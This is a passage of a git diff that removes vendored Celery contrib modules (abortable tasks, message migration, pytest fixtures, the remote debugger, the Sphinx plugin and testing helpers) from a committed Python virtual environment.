even if the task will be aborted at all). - """ - # TODO: store_result requires all four arguments to be set, - # but only state should be updated here - return self.backend.store_result(self.id, result=None, - state=ABORTED, traceback=None) - - -class AbortableTask(Task): - """Task that can be aborted. - - This serves as a base class for all :class:`Task`'s - that support aborting during execution. - - All subclasses of :class:`AbortableTask` must call the - :meth:`is_aborted` method periodically and act accordingly when - the call evaluates to :const:`True`. - """ - - abstract = True - - def AsyncResult(self, task_id): - """Return the accompanying AbortableAsyncResult instance.""" - return AbortableAsyncResult(task_id, backend=self.backend) - - def is_aborted(self, **kwargs): - """Return true if task is aborted. - - Checks against the backend whether this - :class:`AbortableAsyncResult` is :const:`ABORTED`. - - Always return :const:`False` in case the `task_id` parameter - refers to a regular (non-abortable) :class:`Task`. - - Be aware that invoking this method will cause a hit in the - backend (for example a database query), so find a good balance - between calling it regularly (for responsiveness), but not too - often (for performance). - """ - task_id = kwargs.get('task_id', self.request.id) - result = self.AsyncResult(task_id) - if not isinstance(result, AbortableAsyncResult): - return False - return result.is_aborted() diff --git a/backend/venv/Lib/site-packages/celery/contrib/django/__init__.py b/backend/venv/Lib/site-packages/celery/contrib/django/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/celery/contrib/django/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/contrib/django/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index aac1c7ed..00000000 Binary files a/backend/venv/Lib/site-packages/celery/contrib/django/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/contrib/django/__pycache__/task.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/contrib/django/__pycache__/task.cpython-311.pyc deleted file mode 100644 index 80c95530..00000000 Binary files a/backend/venv/Lib/site-packages/celery/contrib/django/__pycache__/task.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/contrib/django/task.py b/backend/venv/Lib/site-packages/celery/contrib/django/task.py deleted file mode 100644 index b0dc6677..00000000 --- a/backend/venv/Lib/site-packages/celery/contrib/django/task.py +++ /dev/null @@ -1,21 +0,0 @@ -import functools - -from django.db import transaction - -from celery.app.task import Task - - -class DjangoTask(Task): - """ - Extend the base :class:`~celery.app.task.Task` for Django. - - Provide a nicer API to trigger tasks at the end of the DB transaction. - """ - - def delay_on_commit(self, *args, **kwargs) -> None: - """Call :meth:`~celery.app.task.Task.delay` with Django's ``on_commit()``.""" - transaction.on_commit(functools.partial(self.delay, *args, **kwargs)) - - def apply_async_on_commit(self, *args, **kwargs) -> None: - """Call :meth:`~celery.app.task.Task.apply_async` with Django's ``on_commit()``.""" - transaction.on_commit(functools.partial(self.apply_async, *args, **kwargs)) diff --git a/backend/venv/Lib/site-packages/celery/contrib/migrate.py b/backend/venv/Lib/site-packages/celery/contrib/migrate.py deleted file mode 100644 index dd778017..00000000 --- a/backend/venv/Lib/site-packages/celery/contrib/migrate.py +++ /dev/null @@ -1,416 +0,0 @@ -"""Message migration tools (Broker <-> Broker).""" -import socket -from functools import partial -from itertools import cycle, islice - -from kombu import Queue, eventloop -from kombu.common import maybe_declare -from kombu.utils.encoding import ensure_bytes - -from celery.app import app_or_default -from celery.utils.nodenames import worker_direct -from celery.utils.text import str_to_list - -__all__ = ( - 'StopFiltering', 'State', 'republish', 'migrate_task', - 'migrate_tasks', 'move', 'task_id_eq', 'task_id_in', - 'start_filter', 'move_task_by_id', 'move_by_idmap', - 'move_by_taskmap', 'move_direct', 'move_direct_by_id', -) - -MOVING_PROGRESS_FMT = """\ -Moving task {state.filtered}/{state.strtotal}: \ -{body[task]}[{body[id]}]\ -""" - - -class StopFiltering(Exception): - """Semi-predicate used to signal filter stop.""" - - -class State: - """Migration progress state.""" - - count = 0 - filtered = 0 - total_apx = 0 - - @property - def strtotal(self): - if not self.total_apx: - return '?' - return str(self.total_apx) - - def __repr__(self): - if self.filtered: - return f'^{self.filtered}' - return f'{self.count}/{self.strtotal}' - - -def republish(producer, message, exchange=None, routing_key=None, - remove_props=None): - """Republish message.""" - if not remove_props: - remove_props = ['application_headers', 'content_type', - 'content_encoding', 'headers'] - body = ensure_bytes(message.body) # use raw message body. - info, headers, props = (message.delivery_info, - message.headers, message.properties) - exchange = info['exchange'] if exchange is None else exchange - routing_key = info['routing_key'] if routing_key is None else routing_key - ctype, enc = message.content_type, message.content_encoding - # remove compression header, as this will be inserted again - # when the message is recompressed. - compression = headers.pop('compression', None) - - expiration = props.pop('expiration', None) - # ensure expiration is a float - expiration = float(expiration) if expiration is not None else None - - for key in remove_props: - props.pop(key, None) - - producer.publish(ensure_bytes(body), exchange=exchange, - routing_key=routing_key, compression=compression, - headers=headers, content_type=ctype, - content_encoding=enc, expiration=expiration, - **props) - - -def migrate_task(producer, body_, message, queues=None): - """Migrate single task message.""" - info = message.delivery_info - queues = {} if queues is None else queues - republish(producer, message, - exchange=queues.get(info['exchange']), - routing_key=queues.get(info['routing_key'])) - - -def filter_callback(callback, tasks): - - def filtered(body, message): - if tasks and body['task'] not in tasks: - return - - return callback(body, message) - return filtered - - -def migrate_tasks(source, dest, migrate=migrate_task, app=None, - queues=None, **kwargs): - """Migrate tasks from one broker to another.""" - app = app_or_default(app) - queues = prepare_queues(queues) - producer = app.amqp.Producer(dest, auto_declare=False) - migrate = partial(migrate, producer, queues=queues) - - def on_declare_queue(queue): - new_queue = queue(producer.channel) - new_queue.name = queues.get(queue.name, queue.name) - if new_queue.routing_key == queue.name: - new_queue.routing_key = queues.get(queue.name, - new_queue.routing_key) - if new_queue.exchange.name == queue.name: - new_queue.exchange.name = queues.get(queue.name, queue.name) - new_queue.declare() - - return start_filter(app, source, migrate, queues=queues, - on_declare_queue=on_declare_queue, **kwargs) - - -def _maybe_queue(app, q): - if isinstance(q, str): - return app.amqp.queues[q] - return q - - -def move(predicate, connection=None, exchange=None, routing_key=None, - source=None, app=None, callback=None, limit=None, transform=None, - **kwargs): - """Find tasks by filtering them and move the tasks to a new queue. - - Arguments: - predicate (Callable): Filter function used to decide the messages - to move. Must accept the standard signature of ``(body, message)`` - used by Kombu consumer callbacks. If the predicate wants the - message to be moved it must return either: - - 1) a tuple of ``(exchange, routing_key)``, or - - 2) a :class:`~kombu.entity.Queue` instance, or - - 3) any other true value means the specified - ``exchange`` and ``routing_key`` arguments will be used. - connection (kombu.Connection): Custom connection to use. - source: List[Union[str, kombu.Queue]]: Optional list of source - queues to use instead of the default (queues - in :setting:`task_queues`). This list can also contain - :class:`~kombu.entity.Queue` instances. - exchange (str, kombu.Exchange): Default destination exchange. - routing_key (str): Default destination routing key. - limit (int): Limit number of messages to filter. - callback (Callable): Callback called after message moved, - with signature ``(state, body, message)``. - transform (Callable): Optional function to transform the return - value (destination) of the filter function. - - Also supports the same keyword arguments as :func:`start_filter`. - - To demonstrate, the :func:`move_task_by_id` operation can be implemented - like this: - - .. code-block:: python - - def is_wanted_task(body, message): - if body['id'] == wanted_id: - return Queue('foo', exchange=Exchange('foo'), - routing_key='foo') - - move(is_wanted_task) - - or with a transform: - - .. code-block:: python - - def transform(value): - if isinstance(value, str): - return Queue(value, Exchange(value), value) - return value - - move(is_wanted_task, transform=transform) - - Note: - The predicate may also return a tuple of ``(exchange, routing_key)`` - to specify the destination to where the task should be moved, - or a :class:`~kombu.entity.Queue` instance. - Any other true value means that the task will be moved to the - default exchange/routing_key. - """ - app = app_or_default(app) - queues = [_maybe_queue(app, queue) for queue in source or []] or None - with app.connection_or_acquire(connection, pool=False) as conn: - producer = app.amqp.Producer(conn) - state = State() - - def on_task(body, message): - ret = predicate(body, message) - if ret: - if transform: - ret = transform(ret) - if isinstance(ret, Queue): - maybe_declare(ret, conn.default_channel) - ex, rk = ret.exchange.name, ret.routing_key - else: - ex, rk = expand_dest(ret, exchange, routing_key) - republish(producer, message, - exchange=ex, routing_key=rk) - message.ack() - - state.filtered += 1 - if callback: - callback(state, body, message) - if limit and state.filtered >= limit: - raise StopFiltering() - - return start_filter(app, conn, on_task, consume_from=queues, **kwargs) - - -def expand_dest(ret, exchange, routing_key): - try: - ex, rk = ret - except (TypeError, ValueError): - ex, rk = exchange, routing_key - return ex, rk - - -def task_id_eq(task_id, body, message): - """Return true if task id equals task_id'.""" - return body['id'] == task_id - - -def task_id_in(ids, body, message): - """Return true if task id is member of set ids'.""" - return body['id'] in ids - - -def prepare_queues(queues): - if isinstance(queues, str): - queues = queues.split(',') - if isinstance(queues, list): - queues = dict(tuple(islice(cycle(q.split(':')), None, 2)) - for q in queues) - if queues is None: - queues = {} - return queues - - -class Filterer: - - def __init__(self, app, conn, filter, - limit=None, timeout=1.0, - ack_messages=False, tasks=None, queues=None, - callback=None, forever=False, on_declare_queue=None, - consume_from=None, state=None, accept=None, **kwargs): - self.app = app - self.conn = conn - self.filter = filter - self.limit = limit - self.timeout = timeout - self.ack_messages = ack_messages - self.tasks = set(str_to_list(tasks) or []) - self.queues = prepare_queues(queues) - self.callback = callback - self.forever = forever - self.on_declare_queue = on_declare_queue - self.consume_from = [ - _maybe_queue(self.app, q) - for q in consume_from or list(self.queues) - ] - self.state = state or State() - self.accept = accept - - def start(self): - # start migrating messages. - with self.prepare_consumer(self.create_consumer()): - try: - for _ in eventloop(self.conn, # pragma: no cover - timeout=self.timeout, - ignore_timeouts=self.forever): - pass - except socket.timeout: - pass - except StopFiltering: - pass - return self.state - - def update_state(self, body, message): - self.state.count += 1 - if self.limit and self.state.count >= self.limit: - raise StopFiltering() - - def ack_message(self, body, message): - message.ack() - - def create_consumer(self): - return self.app.amqp.TaskConsumer( - self.conn, - queues=self.consume_from, - accept=self.accept, - ) - - def prepare_consumer(self, consumer): - filter = self.filter - update_state = self.update_state - ack_message = self.ack_message - if self.tasks: - filter = filter_callback(filter, self.tasks) - update_state = filter_callback(update_state, self.tasks) - ack_message = filter_callback(ack_message, self.tasks) - consumer.register_callback(filter) - consumer.register_callback(update_state) - if self.ack_messages: - consumer.register_callback(self.ack_message) - if self.callback is not None: - callback = partial(self.callback, self.state) - if self.tasks: - callback = filter_callback(callback, self.tasks) - consumer.register_callback(callback) - self.declare_queues(consumer) - return consumer - - def declare_queues(self, consumer): - # declare all queues on the new broker. - for queue in consumer.queues: - if self.queues and queue.name not in self.queues: - continue - if self.on_declare_queue is not None: - self.on_declare_queue(queue) - try: - _, mcount, _ = queue( - consumer.channel).queue_declare(passive=True) - if mcount: - self.state.total_apx += mcount - except self.conn.channel_errors: - pass - - -def start_filter(app, conn, filter, limit=None, timeout=1.0, - ack_messages=False, tasks=None, queues=None, - callback=None, forever=False, on_declare_queue=None, - consume_from=None, state=None, accept=None, **kwargs): - """Filter tasks.""" - return Filterer( - app, conn, filter, - limit=limit, - timeout=timeout, - ack_messages=ack_messages, - tasks=tasks, - queues=queues, - callback=callback, - forever=forever, - on_declare_queue=on_declare_queue, - consume_from=consume_from, - state=state, - accept=accept, - **kwargs).start() - - -def move_task_by_id(task_id, dest, **kwargs): - """Find a task by id and move it to another queue. - - Arguments: - task_id (str): Id of task to find and move. - dest: (str, kombu.Queue): Destination queue. - transform (Callable): Optional function to transform the return - value (destination) of the filter function. - **kwargs (Any): Also supports the same keyword - arguments as :func:`move`. - """ - return move_by_idmap({task_id: dest}, **kwargs) - - -def move_by_idmap(map, **kwargs): - """Move tasks by matching from a ``task_id: queue`` mapping. - - Where ``queue`` is a queue to move the task to. - - Example: - >>> move_by_idmap({ - ... '5bee6e82-f4ac-468e-bd3d-13e8600250bc': Queue('name'), - ... 'ada8652d-aef3-466b-abd2-becdaf1b82b3': Queue('name'), - ... '3a2b140d-7db1-41ba-ac90-c36a0ef4ab1f': Queue('name')}, - ... queues=['hipri']) - """ - def task_id_in_map(body, message): - return map.get(message.properties['correlation_id']) - - # adding the limit means that we don't have to consume any more - # when we've found everything. - return move(task_id_in_map, limit=len(map), **kwargs) - - -def move_by_taskmap(map, **kwargs): - """Move tasks by matching from a ``task_name: queue`` mapping. - - ``queue`` is the queue to move the task to. - - Example: - >>> move_by_taskmap({ - ... 'tasks.add': Queue('name'), - ... 'tasks.mul': Queue('name'), - ... }) - """ - def task_name_in_map(body, message): - return map.get(body['task']) # <- name of task - - return move(task_name_in_map, **kwargs) - - -def filter_status(state, body, message, **kwargs): - print(MOVING_PROGRESS_FMT.format(state=state, body=body, **kwargs)) - - -move_direct = partial(move, transform=worker_direct) -move_direct_by_id = partial(move_task_by_id, transform=worker_direct) -move_direct_by_idmap = partial(move_by_idmap, transform=worker_direct) -move_direct_by_taskmap = partial(move_by_taskmap, transform=worker_direct) diff --git a/backend/venv/Lib/site-packages/celery/contrib/pytest.py b/backend/venv/Lib/site-packages/celery/contrib/pytest.py deleted file mode 100644 index d1f8279f..00000000 --- a/backend/venv/Lib/site-packages/celery/contrib/pytest.py +++ /dev/null @@ -1,216 +0,0 @@ -"""Fixtures and testing utilities for :pypi:`pytest `.""" -import os -from contextlib import contextmanager -from typing import TYPE_CHECKING, Any, Mapping, Sequence, Union # noqa - -import pytest - -if TYPE_CHECKING: - from celery import Celery - - from ..worker import WorkController -else: - Celery = WorkController = object - - -NO_WORKER = os.environ.get('NO_WORKER') - -# pylint: disable=redefined-outer-name -# Well, they're called fixtures.... - - -def pytest_configure(config): - """Register additional pytest configuration.""" - # add the pytest.mark.celery() marker registration to the pytest.ini [markers] section - # this prevents pytest 4.5 and newer from issuing a warning about an unknown marker - # and shows helpful marker documentation when running pytest --markers. - config.addinivalue_line( - "markers", "celery(**overrides): override celery configuration for a test case" - ) - - -@contextmanager -def _create_app(enable_logging=False, - use_trap=False, - parameters=None, - **config): - # type: (Any, Any, Any, **Any) -> Celery - """Utility context used to setup Celery app for pytest fixtures.""" - - from .testing.app import TestApp, setup_default_app - - parameters = {} if not parameters else parameters - test_app = TestApp( - set_as_current=False, - enable_logging=enable_logging, - config=config, - **parameters - ) - with setup_default_app(test_app, use_trap=use_trap): - yield test_app - - -@pytest.fixture(scope='session') -def use_celery_app_trap(): - # type: () -> bool - """You can override this fixture to enable the app trap. - - The app trap raises an exception whenever something attempts - to use the current or default apps. - """ - return False - - -@pytest.fixture(scope='session') -def celery_session_app(request, - celery_config, - celery_parameters, - celery_enable_logging, - use_celery_app_trap): - # type: (Any, Any, Any, Any, Any) -> Celery - """Session Fixture: Return app for session fixtures.""" - mark = request.node.get_closest_marker('celery') - config = dict(celery_config, **mark.kwargs if mark else {}) - with _create_app(enable_logging=celery_enable_logging, - use_trap=use_celery_app_trap, - parameters=celery_parameters, - **config) as app: - if not use_celery_app_trap: - app.set_default() - app.set_current() - yield app - - -@pytest.fixture(scope='session') -def celery_session_worker( - request, # type: Any - celery_session_app, # type: Celery - celery_includes, # type: Sequence[str] - celery_class_tasks, # type: str - celery_worker_pool, # type: Any - celery_worker_parameters, # type: Mapping[str, Any] -): - # type: (...) -> WorkController - """Session Fixture: Start worker that lives throughout test suite.""" - from .testing import worker - - if not NO_WORKER: - for module in celery_includes: - celery_session_app.loader.import_task_module(module) - for class_task in celery_class_tasks: - celery_session_app.register_task(class_task) - with worker.start_worker(celery_session_app, - pool=celery_worker_pool, - **celery_worker_parameters) as w: - yield w - - -@pytest.fixture(scope='session') -def celery_enable_logging(): - # type: () -> bool - """You can override this fixture to enable logging.""" - return False - - -@pytest.fixture(scope='session') -def celery_includes(): - # type: () -> Sequence[str] - """You can override this include modules when a worker start. - - You can have this return a list of module names to import, - these can be task modules, modules registering signals, and so on. - """ - return () - - -@pytest.fixture(scope='session') -def celery_worker_pool(): - # type: () -> Union[str, Any] - """You can override this fixture to set the worker pool. - - The "solo" pool is used by default, but you can set this to - return e.g. "prefork". - """ - return 'solo' - - -@pytest.fixture(scope='session') -def celery_config(): - # type: () -> Mapping[str, Any] - """Redefine this fixture to configure the test Celery app. - - The config returned by your fixture will then be used - to configure the :func:`celery_app` fixture. - """ - return {} - - -@pytest.fixture(scope='session') -def celery_parameters(): - # type: () -> Mapping[str, Any] - """Redefine this fixture to change the init parameters of test Celery app. - - The dict returned by your fixture will then be used - as parameters when instantiating :class:`~celery.Celery`. - """ - return {} - - -@pytest.fixture(scope='session') -def celery_worker_parameters(): - # type: () -> Mapping[str, Any] - """Redefine this fixture to change the init parameters of Celery workers. - - This can be used e. g. to define queues the worker will consume tasks from. - - The dict returned by your fixture will then be used - as parameters when instantiating :class:`~celery.worker.WorkController`. - """ - return {} - - -@pytest.fixture() -def celery_app(request, - celery_config, - celery_parameters, - celery_enable_logging, - use_celery_app_trap): - """Fixture creating a Celery application instance.""" - mark = request.node.get_closest_marker('celery') - config = dict(celery_config, **mark.kwargs if mark else {}) - with _create_app(enable_logging=celery_enable_logging, - use_trap=use_celery_app_trap, - parameters=celery_parameters, - **config) as app: - yield app - - -@pytest.fixture(scope='session') -def celery_class_tasks(): - """Redefine this fixture to register tasks with the test Celery app.""" - return [] - - -@pytest.fixture() -def celery_worker(request, - celery_app, - celery_includes, - celery_worker_pool, - celery_worker_parameters): - # type: (Any, Celery, Sequence[str], str, Any) -> WorkController - """Fixture: Start worker in a thread, stop it when the test returns.""" - from .testing import worker - - if not NO_WORKER: - for module in celery_includes: - celery_app.loader.import_task_module(module) - with worker.start_worker(celery_app, - pool=celery_worker_pool, - **celery_worker_parameters) as w: - yield w - - -@pytest.fixture() -def depends_on_current_app(celery_app): - """Fixture that sets app as current.""" - celery_app.set_current() diff --git a/backend/venv/Lib/site-packages/celery/contrib/rdb.py b/backend/venv/Lib/site-packages/celery/contrib/rdb.py deleted file mode 100644 index 8ac8f701..00000000 --- a/backend/venv/Lib/site-packages/celery/contrib/rdb.py +++ /dev/null @@ -1,187 +0,0 @@ -"""Remote Debugger. - -Introduction -============ - -This is a remote debugger for Celery tasks running in multiprocessing -pool workers. Inspired by a lost post on dzone.com. - -Usage ------ - -.. code-block:: python - - from celery.contrib import rdb - from celery import task - - @task() - def add(x, y): - result = x + y - rdb.set_trace() - return result - -Environment Variables -===================== - -.. envvar:: CELERY_RDB_HOST - -``CELERY_RDB_HOST`` -------------------- - - Hostname to bind to. Default is '127.0.0.1' (only accessible from - localhost). - -.. envvar:: CELERY_RDB_PORT - -``CELERY_RDB_PORT`` -------------------- - - Base port to bind to. Default is 6899. - The debugger will try to find an available port starting from the - base port. The selected port will be logged by the worker. -""" -import errno -import os -import socket -import sys -from pdb import Pdb - -from billiard.process import current_process - -__all__ = ( - 'CELERY_RDB_HOST', 'CELERY_RDB_PORT', 'DEFAULT_PORT', - 'Rdb', 'debugger', 'set_trace', -) - -DEFAULT_PORT = 6899 - -CELERY_RDB_HOST = os.environ.get('CELERY_RDB_HOST') or '127.0.0.1' -CELERY_RDB_PORT = int(os.environ.get('CELERY_RDB_PORT') or DEFAULT_PORT) - -#: Holds the currently active debugger. -_current = [None] - -_frame = getattr(sys, '_getframe') - -NO_AVAILABLE_PORT = """\ -{self.ident}: Couldn't find an available port. - -Please specify one using the CELERY_RDB_PORT environment variable. -""" - -BANNER = """\ -{self.ident}: Ready to connect: telnet {self.host} {self.port} - -Type `exit` in session to continue. - -{self.ident}: Waiting for client... -""" - -SESSION_STARTED = '{self.ident}: Now in session with {self.remote_addr}.' -SESSION_ENDED = '{self.ident}: Session with {self.remote_addr} ended.' - - -class Rdb(Pdb): - """Remote debugger.""" - - me = 'Remote Debugger' - _prev_outs = None - _sock = None - - def __init__(self, host=CELERY_RDB_HOST, port=CELERY_RDB_PORT, - port_search_limit=100, port_skew=+0, out=sys.stdout): - self.active = True - self.out = out - - self._prev_handles = sys.stdin, sys.stdout - - self._sock, this_port = self.get_avail_port( - host, port, port_search_limit, port_skew, - ) - self._sock.setblocking(1) - self._sock.listen(1) - self.ident = f'{self.me}:{this_port}' - self.host = host - self.port = this_port - self.say(BANNER.format(self=self)) - - self._client, address = self._sock.accept() - self._client.setblocking(1) - self.remote_addr = ':'.join(str(v) for v in address) - self.say(SESSION_STARTED.format(self=self)) - self._handle = sys.stdin = sys.stdout = self._client.makefile('rw') - super().__init__(completekey='tab', - stdin=self._handle, stdout=self._handle) - - def get_avail_port(self, host, port, search_limit=100, skew=+0): - try: - _, skew = current_process().name.split('-') - skew = int(skew) - except ValueError: - pass - this_port = None - for i in range(search_limit): - _sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - _sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - this_port = port + skew + i - try: - _sock.bind((host, this_port)) - except OSError as exc: - if exc.errno in [errno.EADDRINUSE, errno.EINVAL]: - continue - raise - else: - return _sock, this_port - raise Exception(NO_AVAILABLE_PORT.format(self=self)) - - def say(self, m): - print(m, file=self.out) - - def __enter__(self): - return self - - def __exit__(self, *exc_info): - self._close_session() - - def _close_session(self): - self.stdin, self.stdout = sys.stdin, sys.stdout = self._prev_handles - if self.active: - if self._handle is not None: - self._handle.close() - if self._client is not None: - self._client.close() - if self._sock is not None: - self._sock.close() - self.active = False - self.say(SESSION_ENDED.format(self=self)) - - def do_continue(self, arg): - self._close_session() - self.set_continue() - return 1 - do_c = do_cont = do_continue - - def do_quit(self, arg): - self._close_session() - self.set_quit() - return 1 - do_q = do_exit = do_quit - - def set_quit(self): - # this raises a BdbQuit exception that we're unable to catch. - sys.settrace(None) - - -def debugger(): - """Return the current debugger instance, or create if none.""" - rdb = _current[0] - if rdb is None or not rdb.active: - rdb = _current[0] = Rdb() - return rdb - - -def set_trace(frame=None): - """Set break-point at current location, or a specified frame.""" - if frame is None: - frame = _frame().f_back - return debugger().set_trace(frame) diff --git a/backend/venv/Lib/site-packages/celery/contrib/sphinx.py b/backend/venv/Lib/site-packages/celery/contrib/sphinx.py deleted file mode 100644 index a5505ff1..00000000 --- a/backend/venv/Lib/site-packages/celery/contrib/sphinx.py +++ /dev/null @@ -1,105 +0,0 @@ -"""Sphinx documentation plugin used to document tasks. - -Introduction -============ - -Usage ------ - -The Celery extension for Sphinx requires Sphinx 2.0 or later. - -Add the extension to your :file:`docs/conf.py` configuration module: - -.. code-block:: python - - extensions = (..., - 'celery.contrib.sphinx') - -If you'd like to change the prefix for tasks in reference documentation -then you can change the ``celery_task_prefix`` configuration value: - -.. code-block:: python - - celery_task_prefix = '(task)' # < default - -With the extension installed `autodoc` will automatically find -task decorated objects (e.g. when using the automodule directive) -and generate the correct (as well as add a ``(task)`` prefix), -and you can also refer to the tasks using `:task:proj.tasks.add` -syntax. - -Use ``.. autotask::`` to alternatively manually document a task. -""" -from inspect import signature - -from docutils import nodes -from sphinx.domains.python import PyFunction -from sphinx.ext.autodoc import FunctionDocumenter - -from celery.app.task import BaseTask - - -class TaskDocumenter(FunctionDocumenter): - """Document task definitions.""" - - objtype = 'task' - member_order = 11 - - @classmethod - def can_document_member(cls, member, membername, isattr, parent): - return isinstance(member, BaseTask) and getattr(member, '__wrapped__') - - def format_args(self): - wrapped = getattr(self.object, '__wrapped__', None) - if wrapped is not None: - sig = signature(wrapped) - if "self" in sig.parameters or "cls" in sig.parameters: - sig = sig.replace(parameters=list(sig.parameters.values())[1:]) - return str(sig) - return '' - - def document_members(self, all_members=False): - pass - - def check_module(self): - # Normally checks if *self.object* is really defined in the module - # given by *self.modname*. But since functions decorated with the @task - # decorator are instances living in the celery.local, we have to check - # the wrapped function instead. - wrapped = getattr(self.object, '__wrapped__', None) - if wrapped and getattr(wrapped, '__module__') == self.modname: - return True - return super().check_module() - - -class TaskDirective(PyFunction): - """Sphinx task directive.""" - - def get_signature_prefix(self, sig): - return [nodes.Text(self.env.config.celery_task_prefix)] - - -def autodoc_skip_member_handler(app, what, name, obj, skip, options): - """Handler for autodoc-skip-member event.""" - # Celery tasks created with the @task decorator have the property - # that *obj.__doc__* and *obj.__class__.__doc__* are equal, which - # trips up the logic in sphinx.ext.autodoc that is supposed to - # suppress repetition of class documentation in an instance of the - # class. This overrides that behavior. - if isinstance(obj, BaseTask) and getattr(obj, '__wrapped__'): - if skip: - return False - return None - - -def setup(app): - """Setup Sphinx extension.""" - app.setup_extension('sphinx.ext.autodoc') - app.add_autodocumenter(TaskDocumenter) - app.add_directive_to_domain('py', 'task', TaskDirective) - app.add_config_value('celery_task_prefix', '(task)', True) - app.connect('autodoc-skip-member', autodoc_skip_member_handler) - - return { - 'parallel_read_safe': True - } diff --git a/backend/venv/Lib/site-packages/celery/contrib/testing/__init__.py b/backend/venv/Lib/site-packages/celery/contrib/testing/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/celery/contrib/testing/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/contrib/testing/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 05567ffc..00000000 Binary files a/backend/venv/Lib/site-packages/celery/contrib/testing/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/contrib/testing/__pycache__/app.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/contrib/testing/__pycache__/app.cpython-311.pyc deleted file mode 100644 index 7193e12b..00000000 Binary files a/backend/venv/Lib/site-packages/celery/contrib/testing/__pycache__/app.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/contrib/testing/__pycache__/manager.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/contrib/testing/__pycache__/manager.cpython-311.pyc deleted file mode 100644 index 148fa17c..00000000 Binary files a/backend/venv/Lib/site-packages/celery/contrib/testing/__pycache__/manager.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/contrib/testing/__pycache__/mocks.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/contrib/testing/__pycache__/mocks.cpython-311.pyc deleted file mode 100644 index bc5a6399..00000000 Binary files a/backend/venv/Lib/site-packages/celery/contrib/testing/__pycache__/mocks.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/contrib/testing/__pycache__/tasks.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/contrib/testing/__pycache__/tasks.cpython-311.pyc deleted file mode 100644 index 6957e022..00000000 Binary files a/backend/venv/Lib/site-packages/celery/contrib/testing/__pycache__/tasks.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/contrib/testing/__pycache__/worker.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/contrib/testing/__pycache__/worker.cpython-311.pyc deleted file mode 100644 index 6b736e69..00000000 Binary files a/backend/venv/Lib/site-packages/celery/contrib/testing/__pycache__/worker.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/contrib/testing/app.py b/backend/venv/Lib/site-packages/celery/contrib/testing/app.py deleted file mode 100644 index 95ed700b..00000000 --- a/backend/venv/Lib/site-packages/celery/contrib/testing/app.py +++ /dev/null @@ -1,112 +0,0 @@ -"""Create Celery app instances used for testing.""" -import weakref -from contextlib import contextmanager -from copy import deepcopy - -from kombu.utils.imports import symbol_by_name - -from celery import Celery, _state - -#: Contains the default configuration values for the test app. -DEFAULT_TEST_CONFIG = { - 'worker_hijack_root_logger': False, - 'worker_log_color': False, - 'accept_content': {'json'}, - 'enable_utc': True, - 'timezone': 'UTC', - 'broker_url': 'memory://', - 'result_backend': 'cache+memory://', - 'broker_heartbeat': 0, -} - - -class Trap: - """Trap that pretends to be an app but raises an exception instead. - - This to protect from code that does not properly pass app instances, - then falls back to the current_app. - """ - - def __getattr__(self, name): - # Workaround to allow unittest.mock to patch this object - # in Python 3.8 and above. - if name == '_is_coroutine' or name == '__func__': - return None - print(name) - raise RuntimeError('Test depends on current_app') - - -class UnitLogging(symbol_by_name(Celery.log_cls)): - """Sets up logging for the test application.""" - - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - self.already_setup = True - - -def TestApp(name=None, config=None, enable_logging=False, set_as_current=False, - log=UnitLogging, backend=None, broker=None, **kwargs): - """App used for testing.""" - from . import tasks # noqa - config = dict(deepcopy(DEFAULT_TEST_CONFIG), **config or {}) - if broker is not None: - config.pop('broker_url', None) - if backend is not None: - config.pop('result_backend', None) - log = None if enable_logging else log - test_app = Celery( - name or 'celery.tests', - set_as_current=set_as_current, - log=log, - broker=broker, - backend=backend, - **kwargs) - test_app.add_defaults(config) - return test_app - - -@contextmanager -def set_trap(app): - """Contextmanager that installs the trap app. - - The trap means that anything trying to use the current or default app - will raise an exception. - """ - trap = Trap() - prev_tls = _state._tls - _state.set_default_app(trap) - - class NonTLS: - current_app = trap - _state._tls = NonTLS() - - try: - yield - finally: - _state._tls = prev_tls - - -@contextmanager -def setup_default_app(app, use_trap=False): - """Setup default app for testing. - - Ensures state is clean after the test returns. - """ - prev_current_app = _state.get_current_app() - prev_default_app = _state.default_app - prev_finalizers = set(_state._on_app_finalizers) - prev_apps = weakref.WeakSet(_state._apps) - - try: - if use_trap: - with set_trap(app): - yield - else: - yield - finally: - _state.set_default_app(prev_default_app) - _state._tls.current_app = prev_current_app - if app is not prev_current_app: - app.close() - _state._on_app_finalizers = prev_finalizers - _state._apps = prev_apps diff --git a/backend/venv/Lib/site-packages/celery/contrib/testing/manager.py b/backend/venv/Lib/site-packages/celery/contrib/testing/manager.py deleted file mode 100644 index 23f43b16..00000000 --- a/backend/venv/Lib/site-packages/celery/contrib/testing/manager.py +++ /dev/null @@ -1,239 +0,0 @@ -"""Integration testing utilities.""" -import socket -import sys -from collections import defaultdict -from functools import partial -from itertools import count -from typing import Any, Callable, Dict, Sequence, TextIO, Tuple # noqa - -from kombu.exceptions import ContentDisallowed -from kombu.utils.functional import retry_over_time - -from celery import states -from celery.exceptions import TimeoutError -from celery.result import AsyncResult, ResultSet # noqa -from celery.utils.text import truncate -from celery.utils.time import humanize_seconds as _humanize_seconds - -E_STILL_WAITING = 'Still waiting for {0}. Trying again {when}: {exc!r}' - 